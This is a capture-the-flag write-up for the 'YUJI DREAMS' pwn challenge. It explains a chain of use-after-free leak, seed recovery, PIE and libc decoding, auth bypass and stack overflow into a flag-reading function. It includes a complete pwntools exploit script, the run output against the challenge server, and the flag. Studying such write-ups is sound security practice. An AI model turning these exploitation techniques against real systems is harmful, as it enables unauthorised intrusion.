Challenge Name: YUJI DREAMS
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Yuji got fed up from his dreams, so he kept notes of everything in this cursed heap lab. The notes leak fragments of memory, and if you resonate with the archive correctly, the sealed truth reveals itself.
Connection: nc 172.205.208.94 9003
Challenge Overview#
This challenge is a three-stage heap exploitation chain themed around Yuji’s “dream notes”:
- Trigger a UAF leak to recover the hidden internal seed.
- Decode oracle tokens to recover PIE and libc bases.
- Pass admin authentication and exploit the final overflow to jump into
do_orw.
The binary is intentionally designed so each stage unlocks the next one. If seed recovery fails, oracle decoding fails. If oracle decoding fails, the final control-flow pivot is blind.
Files handed in the challenge: chall, libc.so.6, and ld-linux-x86-64.so.2.
Initial Reconnaissance#
Service Flow#
The menu exposes six relevant actions:
- allocate/edit/show/free heap slots
- query a “probe oracle”
- access an “admin console”
From reversing, two behaviors stand out immediately:
- Freed pointers are not cleared from the slot table (UAF surface).
- Admin console reads up to
0x300bytes into a0x80stack buffer (classic stack overflow), but only after auth succeeds.
Important Internal Objects#
leak_seed: lazily initialized from freed-chunk metadata- oracle probe
0: obfuscated pointer tomain(PIE leak) - oracle probe
1: obfuscated pointer tostdout(libc leak) - auth probe
31337: checks a value derived fromleak_seed
Vulnerability Analysis#
1) UAF Leak -> Seed Recovery#
The first free of a chunk preserves a stale pointer in slots[idx] and uses freed metadata to initialize leak_seed.
Because show still prints from the stale pointer, reading 16 bytes from the freed chunk leaks enough data to reconstruct the seed.
Solver-side reconstruction:
leak_seed = ((key_leak * 0x9E3779B97F4A7C15) ^ 0x13371337C0DEC0DE) & ((1 << 64) - 1)
2) Oracle Token Decoding -> PIE + libc#
After seed recovery, probe oracle returns obfuscated tokens plus a consistency check.
- probe
0: token for&main - probe
1: token forstdout
Key derivation:
k1 = leak_seed ^ 0xA55A7EED5A5AF00D
k2 = rol64(leak_seed, 17) ^ 0x0DDF00DBADC0FFEE
Token decoding:
main_addr = pie_token ^ ((k1 + nonce * 0x1337) & MASK64)
stdout_addr = libc_token ^ ((k2 + nonce * 0x1337) & MASK64)
Then:
elf.address = (main_addr - MAIN_OFF) & ~0xFFF
libc.address = stdout_addr - libc.sym["_IO_2_1_stdout_"]
3) Admin Auth + Stack Overflow -> Ret2win ORW#
Admin path is gated by:
auth_value = (leak_seed >> 7) ^ 0x6B8B4567327B23C6
Once authenticated, do_admin_console performs:
char buf[0x80];
read(0, buf, 0x300);
The exploit overwrites RIP with elf.address + DO_ORW_OFF after 0x88 bytes of padding.
do_orw opens and prints the flag directly, making this a clean ret2win/ORW pivot without needing shellcode.
Exploitation Strategy#
Why This Chain Works#
- UAF leak provides deterministic seed recovery.
- Seed unlocks deterministic oracle decoding for both PIE and libc.
- Correct auth unlocks the final overflow sink.
- Known PIE base gives a stable jump target to
do_orw.
Payload Shape#
[0x88 bytes padding][p64(elf.address + DO_ORW_OFF)]
No complex ROP chain is needed because the binary already contains the helper that performs open/read/write.
Exploit Code#
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("../dlist/chall", checksec=False)
libc = ELF("../dlist/libc.so.6", checksec=False)
SEED_MUL = 0x9E3779B97F4A7C15
SEED_XOR = 0x13371337C0DEC0DE
K1_XOR = 0xA55A7EED5A5AF00D
K2_XOR = 0x0DDF00DBADC0FFEE
MASK64 = (1 << 64) - 1
CHUNK_SZ = 0x2F0
DO_ORW_OFF = 0x1AB0
MAIN_OFF = 0x11C0
def rol64(x, n):
return ((x << n) | (x >> (64 - n))) & MASK64
def start():
if args.LOCAL:
return process(["../dlist/ld-linux-x86-64.so.2", "--library-path", "../dlist", "../dlist/chall"])
host = args.HOST or "172.205.208.94"
port = int(args.PORT or 9003)
return remote(host, port)
def menu(io, c):
io.sendlineafter(b"> \n", str(c).encode())
def alloc(io, idx, size, data=b""):
menu(io, 1)
io.sendlineafter(b"idx:\n", str(idx).encode())
io.sendlineafter(b"size:\n", str(size).encode())
io.sendlineafter(b"init_len:\n", str(len(data)).encode())
if data:
io.sendafter(b"data:\n", data)
def show(io, idx, n):
menu(io, 3)
io.sendlineafter(b"idx:\n", str(idx).encode())
io.sendlineafter(b"len:\n", str(n).encode())
data = io.recvn(n)
io.recvline()
return data
def free(io, idx):
menu(io, 4)
io.sendlineafter(b"idx:\n", str(idx).encode())
def probe(io, probe_id, nonce):
menu(io, 5)
io.sendlineafter(b"probe id:\n", str(probe_id).encode())
io.sendlineafter(b"nonce:\n", str(nonce).encode())
io.recvuntil(b"token: ")
token = int(io.recvline().strip(), 16)
io.recvuntil(b"check: ")
check = int(io.recvline().strip(), 16)
return token, check
def auth(io, value):
menu(io, 5)
io.sendlineafter(b"probe id:\n", b"31337")
io.sendlineafter(b"auth:\n", str(value).encode())
return io.recvline().strip()
def pwn():
io = start()
alloc(io, 0, CHUNK_SZ, b"A" * 8)
free(io, 0)
meta = show(io, 0, 16)
key_leak = u64(meta[8:16])
leak_seed = ((key_leak * SEED_MUL) ^ SEED_XOR) & MASK64
k1 = leak_seed ^ K1_XOR
k2 = rol64(leak_seed, 17) ^ K2_XOR
nonce = 0x1337
pie_token, _ = probe(io, 0, nonce)
libc_token, _ = probe(io, 1, nonce)
main_addr = pie_token ^ ((k1 + nonce * 0x1337) & MASK64)
elf.address = (main_addr - MAIN_OFF) & ~0xFFF
stdout_addr = libc_token ^ ((k2 + nonce * 0x1337) & MASK64)
libc.address = stdout_addr - libc.sym["_IO_2_1_stdout_"]
auth_value = (leak_seed >> 7) ^ 0x6B8B4567327B23C6
assert b"auth ok" in auth(io, auth_value)
payload = b"A" * 0x88 + p64(elf.address + DO_ORW_OFF)
menu(io, 6)
io.sendafter(b"admin payload:\n", payload)
io.interactive()
if __name__ == "__main__":
pwn()
Execution#
$ python3 solve.py REMOTE HOST=172.205.208.94 PORT=9003
[+] Opening connection to 172.205.208.94 on port 9003: Done
[*] libc base = 0x741e0e315120
[*] seed = 0x9dfab29ae280818e
[*] Loaded 255 cached gadgets for '../dlist/libc.so.6'
done
CyberTrace{H4rD_0R_N0t_Wh0_C4r3s_47_L3aS7_You_W3rE_H3re_67}
[*] Closed connection to 172.205.208.94 port 9003
Final Flag#
CyberTrace{H4rD_0R_N0t_Wh0_C4r3s_47_L3aS7_You_W3rE_H3re_67}
Key Takeaways#
- UAF pointer retention can expose allocator metadata even without a direct pointer leak primitive.
- Lightweight oracle obfuscation collapses once the shared seed is recovered.
- Auth-gated bug paths are still exploitable if the auth computation is reversible.
- A single stable ret2win target is often enough; full ROP is not always required.





